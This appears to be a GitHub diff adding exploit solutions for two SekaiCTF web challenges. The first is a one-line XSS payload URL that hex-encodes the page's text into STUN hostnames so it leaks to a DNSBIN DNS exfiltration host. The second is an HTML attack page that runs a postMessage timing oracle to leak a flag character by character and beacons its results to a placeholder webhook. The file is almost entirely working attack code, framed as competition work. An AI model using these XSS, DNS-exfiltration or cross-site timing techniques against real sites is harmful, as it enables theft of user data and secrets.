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| Original file line number | Diff line number | Diff line change |
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| @@ -0,0 +1 @@ | ||
| https://golfjail.chals.sekai.team/?a=`;/*&xss=%3Csvg%20onload=eval(%27`%27%2BbaseURI)%3E&b=*/pc=new/**/RTCPeerConnection({[`iceServers`]:[{[`urls`]:[`stun:${document.childNodes[0].textContent.split(``).map(function(c){return/**/c.charCodeAt(0).toString(16)}).join(``).slice(0,32)}.DNSBIN.com`]}]});pc.createOffer({offerToReceiveAudio:1}).then(function(o){pc.setLocalDescription(o)}); |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,104 @@ | ||
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| <!DOCTYPE html> | ||
| <html> | ||
| <body> | ||
| <script> | ||
| const TARGET = "https://leaklessnote.chals.sekai.team"; | ||
|
|
||
| const log = (id, data) => { | ||
| console.log(id, data); | ||
| navigator.sendBeacon(`https://WEBHOOK/${id.replace(/ /g, "_")}`, data); | ||
| }; | ||
|
|
||
| const sleep = (ms) => new Promise(r => setTimeout(r, ms)); | ||
| const waitFor = async (w) => { | ||
| while (true) { | ||
| try { | ||
| w.frames[0].postMessage; | ||
| break; | ||
| } catch {} | ||
| await sleep(1); | ||
| } | ||
| } | ||
|
|
||
| const median = (numbers) => { | ||
| const sorted = Array.from(numbers).sort((a, b) => a - b); | ||
| const middle = Math.floor(sorted.length / 2); | ||
| if (sorted.length % 2 === 0) { | ||
| return (sorted[middle - 1] + sorted[middle]) / 2; | ||
| } | ||
| return sorted[middle]; | ||
| }; | ||
|
|
||
| const oracle = async (w, href) => { | ||
| const runs = []; | ||
| for (let i = 0; i < 8; i++) { | ||
| const samples = []; | ||
| for (let j = 0; j < 600; j++) { | ||
| const b = new Uint8Array(1e6); | ||
| const t = performance.now(); | ||
| w.frames[0].postMessage(b, "*", [b.buffer]); | ||
| samples.push(performance.now() - t); | ||
| delete b; | ||
| } | ||
| runs.push(samples.reduce((a,b)=>a+b, 0)); | ||
| w.location = href; | ||
| await sleep(500); // rate limit | ||
| await waitFor(w); | ||
| } | ||
| runs.sort((a,b) => a-b); | ||
| return { | ||
| median: median(runs.slice(2, -2)), | ||
| sum: runs.slice(2, -2).reduce((a,b)=>a+b,0), | ||
| runs | ||
| } | ||
| } | ||
|
|
||
| const alphabet = {"}":"https://leaklessnote.chals.sekai.team/post.php?id=7d4ff4e98fc2a53a","a":"https://leaklessnote.chals.sekai.team/post.php?id=948247e0ef71c65a","b":"https://leaklessnote.chals.sekai.team/post.php?id=f94cd9109c5cc76f","c":"https://leaklessnote.chals.sekai.team/post.php?id=3fb0140e5cbb856e","d":"https://leaklessnote.chals.sekai.team/post.php?id=8d93e194342ecbac","e":"https://leaklessnote.chals.sekai.team/post.php?id=24450e18a8ad6928","f":"https://leaklessnote.chals.sekai.team/post.php?id=0915d171b5c6bf0c","g":"https://leaklessnote.chals.sekai.team/post.php?id=90cd95b73f14fff2","h":"https://leaklessnote.chals.sekai.team/post.php?id=f29c6ed3fc6ab3ad","i":"https://leaklessnote.chals.sekai.team/post.php?id=6b11c52fa8b1f63d","j":"https://leaklessnote.chals.sekai.team/post.php?id=9ba379ef97f82787","k":"https://leaklessnote.chals.sekai.team/post.php?id=2db54305f57eecd4","l":"https://leaklessnote.chals.sekai.team/post.php?id=81c2820278c3bd4f","m":"https://leaklessnote.chals.sekai.team/post.php?id=c8654cc3238c9ada","n":"https://leaklessnote.chals.sekai.team/post.php?id=868ad5471dcd6cd3","o":"https://leaklessnote.chals.sekai.team/post.php?id=1e3a5b77ebf1fbef","p":"https://leaklessnote.chals.sekai.team/post.php?id=110b03fd55e49ef0","q":"https://leaklessnote.chals.sekai.team/post.php?id=8e22d8ab74eb5fa5","r":"https://leaklessnote.chals.sekai.team/post.php?id=051c6854c4974052","s":"https://leaklessnote.chals.sekai.team/post.php?id=0238d1990a00d143","t":"https://leaklessnote.chals.sekai.team/post.php?id=af45c2e15daf45d9","u":"https://leaklessnote.chals.sekai.team/post.php?id=10834c98fc412b24","v":"https://leaklessnote.chals.sekai.team/post.php?id=205f6ac2bd49150c","w":"https://leaklessnote.chals.sekai.team/post.php?id=6f1dff64bd65487e","x":"https://leaklessnote.chals.sekai.team/post.php?id=d9476fb6e53db711","y":"https://leaklessnote.chals.sekai.team/post.php?id=33c7adac732f1612","z":"https://leaklessnote.chals.sekai.team/post.php?id=f5fad0c559cd74a8"} | ||
|
|
||
| const pwn = async () => { | ||
| log("go go go!"); | ||
|
|
||
| let i = 0; | ||
| if (location.hash) { | ||
| i = Object.keys(alphabet).indexOf(location.hash.slice(1)); | ||
| } | ||
|
|
||
| for (; i < Object.keys(alphabet).length; i++) { | ||
| const c = Object.keys(alphabet)[i]; | ||
|
|
||
| const test = window.open(alphabet[c]); | ||
| await waitFor(test); | ||
| const r = await oracle(test, alphabet[c]); | ||
| log(`${c}_${r.median.toFixed(4)}`, JSON.stringify(r)); | ||
| test.close(); | ||
| } | ||
| }; | ||
|
|
||
| pwn() | ||
| .catch(err => { | ||
| log("error", err.message); | ||
| }) | ||
|
|
||
| /* | ||
| let known = "SEKAI{"; | ||
| for (let c of "abcdefghijklmnopqrstuvwxyz}") { | ||
| await fetch("/", { | ||
| method: "POST", | ||
| headers: { | ||
| "Content-Type": "application/x-www-form-urlencoded" | ||
| }, | ||
| body: `title=${known + c}&contents=${encodeURIComponent(`<iframe src="/search.php?query=${known + c}"></iframe>`)}` | ||
| }); | ||
| await new Promise(r => setTimeout(r, 250)); | ||
| } | ||
| console.log("done"); | ||
|
|
||
| // | ||
|
|
||
| copy(JSON.stringify(Object.fromEntries([...$$("a[href^='/post.php']")].filter(s => s.innerText.length === Math.max(...[...$$("a[href^='/post.php']")].map(s => s.innerText.length))).map(a => [a.innerText.at(-1), a.href]).sort((a,b) => a[0].localeCompare(b[0]))))) | ||
|
|
||
| // | ||
| </script> | ||
| </body> | ||
| </html> |